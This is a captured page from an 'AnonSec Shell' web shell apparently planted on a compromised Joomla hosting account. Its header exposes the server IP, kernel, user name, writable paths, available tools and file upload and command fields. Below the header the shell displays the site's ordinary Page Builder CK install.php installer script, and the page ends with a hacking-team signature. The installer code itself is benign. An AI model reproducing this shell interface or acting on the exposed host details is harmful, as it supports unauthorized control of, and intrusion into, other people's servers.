AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/administrator/components/com_pagebuilderck/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/administrator/components/com_pagebuilderck/install.php
<?php
/**
 * @name		Page Builder CK
 * @package		com_pagebuilderck
 * @copyright	Copyright (C) 2015. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */
 
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\Installer\InstallerAdapter;
use Joomla\CMS\Installer\InstallerScriptInterface;
use Joomla\CMS\Language\Text;

/*
preflight which is executed before install and update
install
update
uninstall
postflight which is executed after install and update
*/

if (version_compare(JVERSION, 6, '>=')) {
	return new class () implements InstallerScriptInterface {

		// private string $minimumJoomla = '4.4.0';
		// private string $minimumPhp    = '7.4.0';

		public function install(InstallerAdapter $adapter): bool
		{
			// not used
			return true;
		}

		public function update(InstallerAdapter $adapter): bool
		{
			// not used
			return true;
		}

		public function uninstall(InstallerAdapter $adapter): bool
		{
			return PagebuilderCK_installer_uninstall($adapter);
		}

		public function preflight(string $type, InstallerAdapter $adapter): bool
		{
			return PagebuilderCK_installer_preflight($type, $adapter);
			
			// if (version_compare(PHP_VERSION, $this->minimumPhp, '<')) {
				// Factory::getApplication()->enqueueMessage(sprintf(Text::_('JLIB_INSTALLER_MINIMUM_PHP'), $this->minimumPhp), 'error');
				// return false;
			// }

			// if (version_compare(JVERSION, $this->minimumJoomla, '<')) {
				// Factory::getApplication()->enqueueMessage(sprintf(Text::_('JLIB_INSTALLER_MINIMUM_JOOMLA'), $this->minimumJoomla), 'error');
				// return false;
			// }

			// return true;
		}

		public function postflight(string $type, InstallerAdapter $adapter): bool
		{
			return PagebuilderCK_installer_postflight($type, $adapter);
		}
	};

} else {
	class com_pagebuilderckInstallerScript {

		function install($parent) {
			// not used
		}
		
		function update($parent) {
			// not used
		}

		function uninstall($parent) {
			return PagebuilderCK_installer_uninstall($parent);
		}

		function preflight($type, $parent) {
			return PagebuilderCK_installer_preflight($type, $parent);
		}

		// run on install and update
		function postflight($type, $parent) {
			jimport('joomla.installer.installer');
			return PagebuilderCK_installer_postflight($type, $parent);
		}
	}
}

function PagebuilderCK_installer_uninstall($adapter) {
	// jimport('joomla.installer.installer');
	// Latest Module
	// Check first that the module exist
	/*$db->setQuery('SELECT `extension_id` FROM #__extensions WHERE `element` = "mod_test" AND `type` = "module"');
	$id = $db->loadResult();
	if($id)
	{
		$installer = new \Joomla\CMS\Installer\Installer;
		$result = $installer->uninstall('module',$id,1);
	}*/

	// disable all plugins and modules
	// module
	$db = \Joomla\CMS\Factory::getDbo();
	$db->setQuery("UPDATE `#__modules` SET `published` = 0 WHERE `module` LIKE '%pagebuilderck%'");
	$db->execute();
	// system, editor button, search plugins
	$db->setQuery("UPDATE `#__extensions` SET `enabled` = 0 WHERE `type` = 'plugin' AND `element` LIKE '%pagebuilderck%' AND `folder` NOT LIKE '%pagebuilderck%'");
	$db->execute();
	return true;
}

function PagebuilderCK_installer_preflight($type, $adapter) {
	// disable the install on Joomla 3 after 3.1.0
	if (version_compare(JVERSION, '4', '<')) {
		throw new RuntimeException('This version of Page Builder CK can not be installed on Joomla 3. Please use the version 3.1.0.');
		// Factory::getApplication()->enqueueMessage('This version of Page Builder CK can not be installed on Joomla 3. Please use the version 3.1.0.', 'error');
		return false;
	}
	// disable the install on Joomla 4 after 3.4.8
	if (version_compare(JVERSION, '5', '<')) {
		Factory::getApplication()->enqueueMessage('This version of Page Builder CK can not be installed on Joomla 4. Please use the version 3.4.9.', 'error');
		return false;
	}

	return true;
}

function PagebuilderCK_installer_postflight($type, $adapter) {
	$db = \Joomla\CMS\Factory::getDbo();
	$tablesList = $db->getTableList();
	// test if the table not exists
	$tableExists = in_array($db->getPrefix() . 'pagebuilderck_elements', $tablesList);
	if (! $tableExists) {
		PagebuilderCK_installer_updateTable('2.2.0');
	}

	$tableCategoriesExists = in_array($db->getPrefix() . 'pagebuilderck_categories', $tablesList);
	if (! $tableCategoriesExists) {
		PagebuilderCK_installer_updateTable('2.14.0');
	}

	$tableStylesExists = in_array($db->getPrefix() . 'pagebuilderck_styles', $tablesList);
	if (! $tableStylesExists) {
		PagebuilderCK_installer_updateTable('2.16.0');
	}

	$tableFontsExists = in_array($db->getPrefix() . 'pagebuilderck_fonts', $tablesList);
	if (! $tableFontsExists) {
		PagebuilderCK_installer_updateTable('3.0.0');
	}

	// only update if it has already been installed
	$tableExists = in_array($db->getPrefix() . 'pagebuilderck_pages', $tablesList);
	if ($tableExists) {
		PagebuilderCK_installer_updateTableFieldCategory();
	}
	
	// install modules and plugins
	// 
	$status = array();
	$src_ext = dirname(__FILE__).'/administrator/extensions';

	// extensions to install
	// system plugin
	$result = PagebuilderCK_installer_installExtension($src_ext.'/system_pagebuilderck');
	$status[] = array('name'=>'System - Pagebuilder CK','type'=>'plugin', 'result'=>$result);
	// system plugin must be enabled for user group limits and private areas
	$db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'pagebuilderck' AND `type` = 'plugin'");
	$db->execute();

	// editor button plugin
	$result = PagebuilderCK_installer_installExtension($src_ext.'/pagebuilderckbutton');
	$status[] = array('name'=>'Button - Pagebuilder CK','type'=>'plugin', 'result'=>$result);
	// auto enable the plugin
	$db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'pagebuilderckbutton' AND `type` = 'plugin'");
	$db->execute();

	// editor plugin (editor button type)
	$result = PagebuilderCK_installer_installExtension($src_ext.'/pagebuilderckeditor');
	$status[] = array('name'=>'Editor - Pagebuilder CK','type'=>'plugin', 'result'=>$result);
	// auto enable the plugin
	$db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'pagebuilderckeditor' AND `type` = 'plugin'");
	$db->execute();

	// search plugin
	/*$result = $installer->install($src_ext.'/pagebuildercksearch');
	$status[] = array('name'=>'Search - Pagebuilder CK','type'=>'plugin', 'result'=>$result);*/
	// auto enable the plugin
	$db->setQuery("UPDATE #__extensions SET enabled = '0' WHERE `element` = 'pagebuildercksearch' AND `type` = 'plugin'");
	$db->execute();

	// module
	$result = PagebuilderCK_installer_installExtension($src_ext.'/mod_pagebuilderck');
	$status[] = array('name'=>'Page Builder CK - Module','type'=>'module', 'result'=>$result);
	// auto enable the plugin
	// $db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'mod_pagebuilderck' AND `type` = 'module'");
	// $db->execute();

	// pagebuilderck plugin
	// $plugins = array('text', 'icon', 'icontext', 'image', 'separator', 'message', 'tabs', 'accordion', 'module', 'video', 'audio');
	// $plugins = \Joomla\Filesystem\Folder::folders($src_ext.'/addons');
	$addonsDir = $src_ext.'/addons';
	$plugins = array_values(array_filter(scandir($addonsDir), function ($entry) use ($addonsDir) {
		return $entry !== '.' && $entry !== '..' && is_dir($addonsDir . '/' . $entry);
	}));
	$ordering = 1;
	foreach ($plugins as $plugin) {
		$alreadyInstalled = file_exists(JPATH_SITE . '/plugins/pagebuilderck/' . $plugin);
		$result = PagebuilderCK_installer_installExtension($src_ext . '/addons/' . $plugin);
		$status[] = array('name'=>'Pagebuilder CK - ' . $plugin,'type'=>'plugin', 'result' => $result);
		if ($type !== 'update' || ! $alreadyInstalled) {
			// if update, then do nothing. Else it will install and enable the plugins/module
			// auto enable the plugin
			$db->setQuery("UPDATE #__extensions SET enabled = '1', ordering = '" . $ordering . "' WHERE `element` = '" . $plugin . "' AND `type` = 'plugin' AND `folder` = 'pagebuilderck'");
			$db->execute();
			$ordering++;
		}
	}

	foreach ($status as $statu) {
		if ($statu['result'] == true) {
			$alert = 'success';
			$icon = 'icon-ok';
			$text = 'Successful';
		} else {
			$alert = 'warning';
			$icon = 'icon-cancel';
			$text = 'Failed';
		}
		echo '<div class="alert alert-' . $alert . '"><i class="icon ' . $icon . '"></i>Installation and activation of the <b>' . $statu['type'] . ' ' . $statu['name'] . '</b> : ' . $text . '</div>';
	}

	// disable the old params plugin
	$db->setQuery("UPDATE #__extensions SET enabled = '0' WHERE `element` = 'pagebuilderckparams' AND `type` = 'plugin'");
	$result3 = $db->execute();

	// disable the old update site
	$db->setQuery("UPDATE #__update_sites SET enabled = '0' WHERE `location` = 'https://update.joomlack.fr/pagebuilderck_light_update.xml'");
	$result4 = $db->execute();

	// disable the old update site
	$db->setQuery("UPDATE #__update_sites SET enabled = '0' WHERE `location` = 'https://update.joomlack.fr/com_pagebuilderck_update.xml'");
	$result5 = $db->execute();

	// remove obsolete file
	$filestodelete = array();
	$filestodelete[] = JPATH_ROOT . '/components/com_pagebuilderck/views/page/tmpl/default.xml';
	$filestodelete[] = JPATH_ROOT . '/components/com_pagebuilderck/controllers/frontedition.php';
	$filestodelete[] = JPATH_ROOT . '/components/com_pagebuilderck/views/frontedition/view.html.php';
	foreach ($filestodelete as $file) {
		if (file_exists($file)) {
			unlink($file);
		}
	}

	return true;
}

/*
 * get a variable from the manifest file (actually, from the manifest cache).
 */
function PagebuilderCK_installer_getParam( $name ) {
	$db = \Joomla\CMS\Factory::getDbo();
	$db->setQuery('SELECT manifest_cache FROM #__extensions WHERE element = "com_pagebuilderck"');
	$manifest = json_decode( $db->loadResult(), true );
	return $manifest[ $name ];
}

/*
* update the table
*/
function PagebuilderCK_installer_updateTable($version) {
	$sqlsrc = dirname(__FILE__).'/administrator/sql/updates/' . $version . '.sql';
	$query = file_get_contents($sqlsrc);
	$db = \Joomla\CMS\Factory::getDbo();
	$db->setQuery($query);
	if (!$db->execute()) {
		echo '<p class="alert alert-danger">Error during table update for version ' . $version . '</p>';
	} else {
		echo '<p class="alert alert-success">Table successfully updated for version ' . $version . '</p>';
	}
}

/*
* update the table
*/
function PagebuilderCK_installer_updateTableFieldCategory() {
	$db = \Joomla\CMS\Factory::getDbo();
	// test for order column title depending on virtuemart version

	// test if the columns not exists
	$query = "SHOW COLUMNS FROM #__pagebuilderck_pages LIKE 'categories'";
	$db->setQuery($query);
	try {
		if ($db->execute()) {
			if ( $db->loadResult()) {
				//echo 'existe deja!';return;
			} else {
				// add the SQL field to the main table
				$db->setQuery('ALTER TABLE `#__pagebuilderck_pages` ADD `categories` varchar(255) NOT NULL;');
				if (!$db->execute()) {
					echo '<p class="alert alert-danger">Error during table pagebuilderck_pages/categories update process !</p>';
				} else {
					echo '<p class="alert alert-success">Table pagebuilderck_pages/categories updated !</p>';
				}
			}
		} else {
			echo 'Erreur de données SQL - Test si champ  pagebuilderck_pages/categories existe';
			return false;
		}
	} catch (Exception $e) {
		echo 'Problem during sql update : ',  $e->getMessage(), "\n";
	}
}

function PagebuilderCK_installer_installExtension($path) {
	$installer = new Installer();
	$installer->setDatabase(Factory::getDbo());

	return $installer->install($path);
}

Anon7 - 2022
AnonSec Team